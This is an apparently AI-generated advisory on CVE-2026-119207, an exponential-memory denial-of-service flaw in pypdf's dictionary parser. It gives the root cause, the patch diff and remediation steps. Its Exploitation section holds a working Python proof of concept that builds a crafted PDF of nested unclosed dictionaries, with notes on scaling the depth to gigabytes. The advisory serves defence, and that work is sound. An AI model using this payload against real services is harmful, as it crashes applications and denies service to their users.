CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119207

CVE-2026-119207: Asymmetric Resource Consumption in pypdf Dictionary Parser

Alon Barad
Alon Barad
Software Engineer

Oct 31, 2026·10 min read·5 visits

Executive Summary (TL;DR)

Versions of pypdf prior to 6.21.3 suffer from geometric exception string expansion when parsing nested, unclosed PDF dictionaries with strict=True. A tiny crafted PDF payload can force the parser to allocate gigabytes of memory via recursive exc.__repr__() wrapping, resulting in an Out-Of-Memory (OOM) denial of service.

CVE-2026-119207 (GHSA-4vqv-7265-gm2w) is an asymmetric resource consumption and denial-of-service (DoS) vulnerability in the open-source Python PDF manipulation library pypdf. In versions prior to 6.21.3, the DictionaryObject.read_from_stream method fails to bound exception message lengths when encountering malformed, unclosed dictionary structures in strict mode. When nested dictionary parsing fails, each level catches the inner exception and raises a new PdfReadError initialized with the string representation (exc.__repr__()) of the caught exception. This recursive wrapping causes geometric string expansion across the call stack, enabling a minimal PDF payload of a few hundred bytes to exhaust gigabytes of heap memory and crash the host Python process.

Vulnerability Overview

pypdf is a pure-Python library widely deployed in web services, document processing pipelines, and backend microservices to parse, inspect, and manipulate PDF documents. Because PDF processing frequently involves untrusted inputs uploaded by external users, the library's stream parsers represent a direct network-accessible attack surface. One of the core structural primitives in the PDF specification is the dictionary object, delimited by double angle brackets (<< and >>), which stores key-value pairs defining page trees, trailer metadata, and document catalogs.

In pypdf versions prior to 6.21.3, the parser governing PDF dictionary streams contains an asymmetric resource consumption vulnerability classified under CWE-400 (Uncontrolled Resource Consumption) and CWE-405 (Asymmetric Resource Consumption / Amplification). The flaw resides specifically within the DictionaryObject.read_from_stream class method located in pypdf/generic/_data_structures.py. When the parser operates in strict mode (strict=True), it enforces rigid adherence to the PDF specification and halts execution by raising exceptions upon encountering syntax violations.

When a crafted PDF contains deeply nested, unclosed dictionary structures, the recursive unwinding of the parser call stack triggers geometric growth in exception message payloads. Each recursion frame catches the inner exception, invokes __repr__() on the exception instance, and embeds the resulting string into a newly instantiated PdfReadError. Because repr() adds quotation marks and escapes existing quotes at every depth level, the string length doubles at each step.

Consequently, an unauthenticated attacker can supply a malformed PDF document measuring fewer than 300 bytes containing 18 to 30 nested dictionary headers (<< /A << /A ...) without closing delimiters. Processing this file causes the Python interpreter to allocate hundreds of megabytes or gigabytes of heap memory during exception construction. This rapid allocation exhausts available system memory, terminating the worker process via an unhandled MemoryError or triggering the operating system's Out-Of-Memory (OOM) killer.

Root Cause Analysis

The root cause of CVE-2026-119207 is the combination of recursive descent parsing for nested PDF data structures and unbounded string formatting within recursive exception handlers. When DictionaryObject.read_from_stream parses a PDF dictionary, it iterates over key-value pairs inside the << ... >> stream block. To resolve each value, it calls read_object(stream, pdf), which inspects the upcoming tokens and dispatches to the appropriate type parser—calling back into DictionaryObject.read_from_stream whenever a nested << token is encountered.

If the input stream ends prematurely before closing >> delimiters are found, the innermost read_from_stream frame encounters an unexpected end-of-stream condition and raises a PdfStreamError or PdfReadError. In vulnerable versions of pypdf, the except Exception as exc: block in DictionaryObject.read_from_stream checks whether pdf.strict is enabled. When strict=True, the handler executes raise PdfReadError(exc.__repr__()) from exc.

In Python, invoking __repr__() on an exception object returns the class name followed by the string representation of its arguments: PdfReadError('message'). When the parent dictionary frame catches this newly raised PdfReadError, it again invokes exc.__repr__() to construct its own PdfReadError. Because the inner message already contains single quotes, Python's string representation logic escapes those quotes with backslashes (\'). At the next level up the call stack, both the backslashes and the quotes are escaped again (\\\').

Mathematically, every layer of recursion $k$ transforms a backslash sequence of length $L$ into $2L + 1$ characters due to character escaping rules inside repr(). For a nesting depth of $N$, the resulting exception message string grows at a rate of $O(2^N)$. Because each stack frame retains references to the intermediate exception objects via Python's exception chaining (__cause__ attached by from exc), all intermediate string allocations remain live in heap memory simultaneously.

Compound this with the fact that prior to version 6.21.3, multiple broad except Exception: blocks across the pypdf codebase caught all standard exceptions without explicitly excluding MemoryError. Notice that in Python's exception hierarchy, MemoryError inherits from Exception rather than BaseException. Consequently, when heap exhaustion occurred during parsing, generic exception handlers could intercept the MemoryError and attempt to format or log it, causing secondary allocation failures and leaving the application in an unrecoverable state.

Code Analysis

The vulnerability was resolved in commit 64270258c0eced720f7960aecf8cef31afd39f8d (Pull Request #4265). The primary modification occurred in pypdf/generic/_data_structures.py within the DictionaryObject.read_from_stream method, alongside codebase-wide hardening of broad exception handlers.

Below is the vulnerable error-handling implementation prior to version 6.21.3:

# VULNERABLE CODE: pypdf/generic/_data_structures.py
try:
    # Recursive dictionary key/value parsing logic
    ...
except LimitReachedError:
    # Always propagate security issues.
    raise
except RecursionError as exc:
    # Vulnerable: Formats full exception representation into new message
    raise PdfReadError(exc.__repr__()) from exc
except Exception as exc:
    if pdf is not None and pdf.strict:
        # Vulnerable: Geometric string expansion across nested calls
        raise PdfReadError(exc.__repr__()) from exc
    # Vulnerable in non-strict mode if exc string is already large
    logger_warning("%(exception)r", source=__name__, exception=exc)
    retval = DictionaryObject()
    retval.update(data)
    return retval  # return partial data

The patch replaces the dynamic exc.__repr__() string interpolation with a static error string and bounds log output length in non-strict mode:

--- a/pypdf/generic/_data_structures.py
+++ b/pypdf/generic/_data_structures.py
@@ -673,12 +679,12 @@ def read_from_stream(
             except LimitReachedError:
                 # Always propagate security issues.
                 raise
-            except RecursionError as exc:
-                raise PdfReadError(exc.__repr__()) from exc
+            except (MemoryError, RecursionError) as exc:
+                raise PdfReadError("Error reading PDF file.") from exc
             except Exception as exc:
                 if pdf is not None and pdf.strict:
-                    raise PdfReadError(exc.__repr__()) from exc
-                logger_warning("%(exception)r", source=__name__, exception=exc)
+                    raise PdfReadError("Error reading PDF file.") from exc
+                logger_warning("%(exception)s", source=__name__, exception=repr(exc)[:500])
                 retval = DictionaryObject()
                 retval.update(data)
                 return retval  # return partial data

The patch addresses the vulnerability through three specific mechanisms:

  1. Elimination of Recursive String Interpolation: By passing the constant string "Error reading PDF file." to PdfReadError, each level of recursion allocates a fixed-size string regardless of nesting depth. Because the statement retains the from exc clause, Python's native exception chaining (__cause__) preserves the full traceback and original root-cause exception for debugging without duplicating or escaping strings in memory.
  2. Log Truncation in Non-Strict Mode: When strict=False, the parser logs a warning and returns partial dictionary data. The patch changes the format specifier from %(exception)r to %(exception)s and slices repr(exc)[:500], ensuring that large exception payloads cannot cause log-buffer bloat.
  3. Explicit MemoryError Propagation: Across pypdf/_cmap.py, pypdf/_doc_common.py, pypdf/_page.py, pypdf/_reader.py, and pypdf/filters.py, the commit introduces explicit except MemoryError: raise guards before generic except Exception: blocks. This ensures that if an out-of-memory condition occurs anywhere during parsing, it immediately halts execution and propagates to the caller rather than being swallowed.

> [!NOTE] > Fix Completeness Assessment: The fix completely eliminates the geometric string amplification vector in DictionaryObject.read_from_stream. While deeply nested dictionaries can still consume call stack frames up to Python's recursion limit (sys.getrecursionlimit(), typically 1000), RecursionError is now caught and re-raised with a static string, bounding both CPU and memory usage.

Exploitation

Exploiting CVE-2026-119207 requires no authentication or complex state manipulation. The sole prerequisite is that the target application initializes PdfReader with strict=True (or passes a strict reader context into DictionaryObject.read_from_stream) and processes an attacker-supplied PDF stream.

To construct a triggering payload, an attacker creates a minimal syntactically valid PDF header and cross-reference (xref) table pointing to a root catalog object (1 0 obj). Inside object 1, instead of a valid catalog dictionary, the payload repeats the sequence << /A $N$ times without closing >> tokens before terminating the object and file.

The following proof-of-concept adapted from the upstream pypdf regression test suite demonstrates the amplification mechanic using a depth of 18 nested unclosed dictionaries:

import io
from pypdf import PdfReader
from pypdf.errors import PdfReadError
 
def trigger_amplification(depth: int = 18):
    header = b"%PDF-1.4\n"
    obj1_offset = len(header)
    
    # Construct nested unclosed dictionaries: << /A << /A ...
    nested_dicts = b"<< /A " * depth
    obj1 = b"1 0 obj\n" + nested_dicts + b"\nendobj\n"
    body = header + obj1
    xref_offset = len(body)
    
    xref = (
        b"xref\n0 2\n"
        b"0000000000 65535 f \n"
        + (b"%010d 00000 n \n" % obj1_offset)
    )
    trailer = (
        b"trailer\n<< /Size 2 /Root 1 0 R >>\nstartxref\n"
        + str(xref_offset).encode() + b"\n%%EOF"
    )
    
    pdf_bytes = body + xref + trailer
    print(f"Total PDF payload size: {len(pdf_bytes)} bytes")
    
    # Initialize reader in strict mode
    reader = PdfReader(io.BytesIO(pdf_bytes), strict=True)
    try:
        # Accessing /Root dereferences object 1 0 R and invokes read_from_stream
        _ = reader.trailer["/Root"]
    except PdfReadError as exc:
        print(f"Resulting exception string length: {len(str(exc))} characters")
 
if __name__ == "__main__":
    trigger_amplification(18)

When executed against pypdf version 6.21.2, a payload of just 245 bytes (depth=18) generates an exception message exceeding 1.5 million characters. Increasing the depth parameter to 26–30 adds fewer than 80 bytes to the input PDF file but increases the allocated string size into the multi-gigabyte range. On standard server configurations, this immediately exhausts container memory limits or system RAM, crashing the Python worker process.

Impact Assessment

The primary security impact of CVE-2026-119207 is a high-severity Endpoint Denial of Service (MITRE ATT&CK T1499). The vulnerability carries a CVSS v4.0 base score of 7.1 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. Because the attack is highly asymmetric—requiring less than 300 bytes of network traffic to force gigabytes of memory allocation—traditional network-layer mitigations such as file upload size limits or rate limiting are ineffective at preventing exploitation.

In production environments, Python web applications (such as those built on Gunicorn, uWSGI, Celery, or FastAPI) typically process incoming requests across a fixed pool of worker processes or threads. When a worker attempts to parse the malicious PDF in strict mode, the rapid heap expansion either raises an unhandled MemoryError (terminating the request handler) or triggers the Linux kernel OOM killer (oom_reaper), which sends SIGKILL to the entire worker process.

If the PDF parsing occurs synchronously within an API endpoint or web worker, an attacker can repeatedly submit small payload requests to terminate all active workers, rendering the application unavailable to legitimate users. If the parsing occurs asynchronously within a background job queue (e.g., Celery or RQ workers indexing uploaded documents) configured with automatic retry logic on worker crashes, a single poisoned PDF message in the queue can repeatedly crash worker nodes in a crash-loop until the message retry count is exhausted.

Confidentiality and integrity of the host system are not affected (VC:N/VI:N). The vulnerability does not permit arbitrary code execution, memory corruption, or unauthorized data disclosure, as all string allocations are managed safely within the Python runtime's memory allocator. According to FIRST EPSS telemetry, the vulnerability currently holds an EPSS score of 0.00304 (23.18th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

Remediation

To remediate CVE-2026-119207, organizations and developers should upgrade pypdf to version 6.21.3 or later. Version 6.21.3 replaces recursive exception representation formatting with static error strings and ensures MemoryError exceptions are properly propagated.

Update the package via pip:

pip install --upgrade "pypdf>=6.21.3"

If immediate patching is not feasible due to dependency freezes, apply the following compensating controls:

  1. Disable Strict Parsing Mode: The recursive PdfReadError(exc.__repr__()) re-raising path in DictionaryObject.read_from_stream is only executed when strict=True. Ensure PdfReader instances are initialized with the default strict=False setting when processing untrusted PDF files:
    from pypdf import PdfReader
     
    # Mitigated configuration for untrusted inputs
    reader = PdfReader(untrusted_stream, strict=False)
  2. Isolate Parsing Workloads with Memory Quotas: Execute PDF parsing tasks in isolated subprocesses or container sandboxes configured with strict memory limits (e.g., via Docker --memory flags, Kubernetes resource limits, or POSIX RLIMIT_AS). This ensures that an OOM condition is contained to an ephemeral worker without impacting the primary application server.
  3. Pre-Validation of Dictionary Depth: If strict mode must remain enabled on unpatched versions, inspect raw input streams prior to invoking PdfReader to reject files containing excessive consecutive << tokens without matching >> delimiters.

Official Patches

py-pdfOfficial security patch commit 64270258c0eced720f7960aecf8cef31afd39f8d
py-pdfPull Request #4265: SEC: Avoid excessive error messages
py-pdfpypdf v6.21.3 Release Notes
py-pdfGitHub Security Advisory GHSA-4vqv-7265-gm2w

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

pypdf (Python Package Index / PyPI)Python applications and document processing pipelines utilizing pypdf < 6.21.3 with strict=True

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.21.36.21.3
AttributeDetail
CVE IDCVE-2026-119207 (GHSA-4vqv-7265-gm2w)
Vulnerability ClassCWE-400 (Uncontrolled Resource Consumption) / CWE-405 (Asymmetric Resource Consumption)
CVSS v4.0 Score7.1 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
Affected ComponentDictionaryObject.read_from_stream in pypdf/generic/_data_structures.py
Affected Versionspypdf < 6.21.3 (when strict=True is enabled)
Patched Versionpypdf >= 6.21.3
EPSS Score0.30% (23.18th percentile)
Primary ImpactApplication Denial of Service via O(2^N) heap memory exhaustion

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to consume more resources than intended.

Vulnerability Timeline

Security fix committed to py-pdf/pypdf main branch via Pull Request #4265 (commit 64270258c0eced720f7960aecf8cef31afd39f8d).
2026-10-27
GitHub publishes Security Advisory GHSA-4vqv-7265-gm2w and assigns CVE-2026-119207.
2026-10-29
pypdf version 6.21.3 officially released on PyPI.
2026-10-29
CVE-2026-119207 published in the National Vulnerability Database (NVD).
2026-10-29
NVD updates vulnerability metadata and references.
2026-10-30

References & Sources

  • [1]CVE-2026-119207 Official CVE.org Record
  • [2]NVD Vulnerability Detail: CVE-2026-119207
  • [3]GitHub Security Advisory GHSA-4vqv-7265-gm2w
  • [4]GitHub Pull Request #4265: SEC: Avoid excessive error messages
  • [5]GitHub Patch Commit 64270258c0eced720f7960aecf8cef31afd39f8d
  • [6]pypdf Release 6.21.3

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•40 minutes ago•CVE-2026-119209
5.5

CVE-2026-119209: Uncontrolled Resource Consumption in pypdf XRef Stream Parser

CVE-2026-119209 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. The flaw exists within the PDF 1.5 cross-reference (XRef) stream parsing routines in pypdf/_reader.py. Due to the absence of a document-wide entry limit across chained cross-reference streams and improper validation of negative entry counts in the /Index array, an attacker can craft a compact PDF file that triggers excessive memory allocation, resulting in a Denial of Service (DoS) via MemoryError or process termination.

Alon Barad
Alon Barad
1 views•11 min read
•about 2 hours ago•CVE-2026-119208
7.1

CVE-2026-119208: Uncontrolled Resource Consumption in pypdf Encrypted Page Count Evaluation

CVE-2026-119208 is an uncontrolled resource consumption vulnerability in the pypdf Python library prior to version 6.21.3. When processing an encrypted PDF file after successful decryption, the get_num_pages() method fails to verify whether the encryption handler has already unlocked the document. Consequently, pypdf returns the unvalidated /Count integer directly from the /Pages catalog dictionary instead of traversing and flattening the actual page tree. Attackers can supply an encrypted PDF with an artificially inflated /Count attribute to trigger excessive memory allocation and prolonged CPU usage during downstream operations such as page iteration or label resolution.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 4 hours ago•CVE-2026-119206
7.1

CVE-2026-119206: Algorithmic Complexity Denial of Service in pypdf Page Label Resolution

CVE-2026-119206 is an algorithmic complexity vulnerability in pypdf prior to version 6.21.3 that causes uncontrolled CPU resource consumption when evaluating the page_labels property. Due to repeated linear scans of the PDF catalog's /PageLabels number tree from index zero for each individual page, processing a document with a large number of pages and label ranges scales quadratically. An unauthenticated attacker can supply a crafted PDF document to an application that reads page labels, resulting in prolonged execution times and denial of service.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-116672
8.8

CVE-2026-116672: Authorization Bypass in Authlib RFC 7592 Client Configuration Endpoint

Authlib versions 0.15 through 1.9.0 contain an authorization bypass vulnerability (CWE-639) in the RFC 7592 ClientConfigurationEndpoint implementation and its corresponding reference documentation. The framework fails to verify that the presented registration access token belongs to the target client specified in the request, and the official reference implementations for authenticate_client and check_permission omit token-to-client binding checks. Consequently, an authenticated client holding any valid registration access token can read, modify, or delete the registration metadata of arbitrary clients on the authorization server.

Alon Barad
Alon Barad
4 views•8 min read
•about 6 hours ago•CVE-2026-118773
6.3

CVE-2026-118773: Asynchronous Control Flow Bypass and Uncontrolled Resource Consumption in node-glob

CVE-2026-118773 (GHSA-3g3m-2fjr-6pw4) is an uncontrolled resource consumption vulnerability in the node-glob npm package affecting versions 9.0.0 through 14.0.1. Due to missing return statements in the AbortSignal check routines within the directory traversal walker, aborted operations reject the caller promise as expected but continue executing background filesystem reads and pattern matching. Applications that rely on AbortSignal or AbortSignal.timeout() to enforce execution budgets on user-influenced glob operations remain susceptible to CPU, event loop, and disk I/O exhaustion.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-118764
6.9

CVE-2026-118764: Asymmetric Resource Consumption and Denial of Service in minimatch Pattern Preprocessing

CVE-2026-118764 (also tracked as GHSA-g3hv-75wg-m249) is an asymmetric resource consumption vulnerability (CWE-405) in the npm package minimatch prior to version 11.0.1. When pattern compilation is invoked with an optimizationLevel of 2 or higher, the internal preprocessing functions firstPhasePreProcess() and secondPhasePreProcess() in src/index.ts perform unbounded pattern splitting and quadratic pairwise deduplication. An attacker supplying a crafted glob string containing repeated **/.. segments can induce a combinatorial explosion of pattern permutations followed by an O(M^2) comparison routine, blocking the Node.js event loop and exhausting process memory.

Amit Schendel
Amit Schendel
5 views•9 min read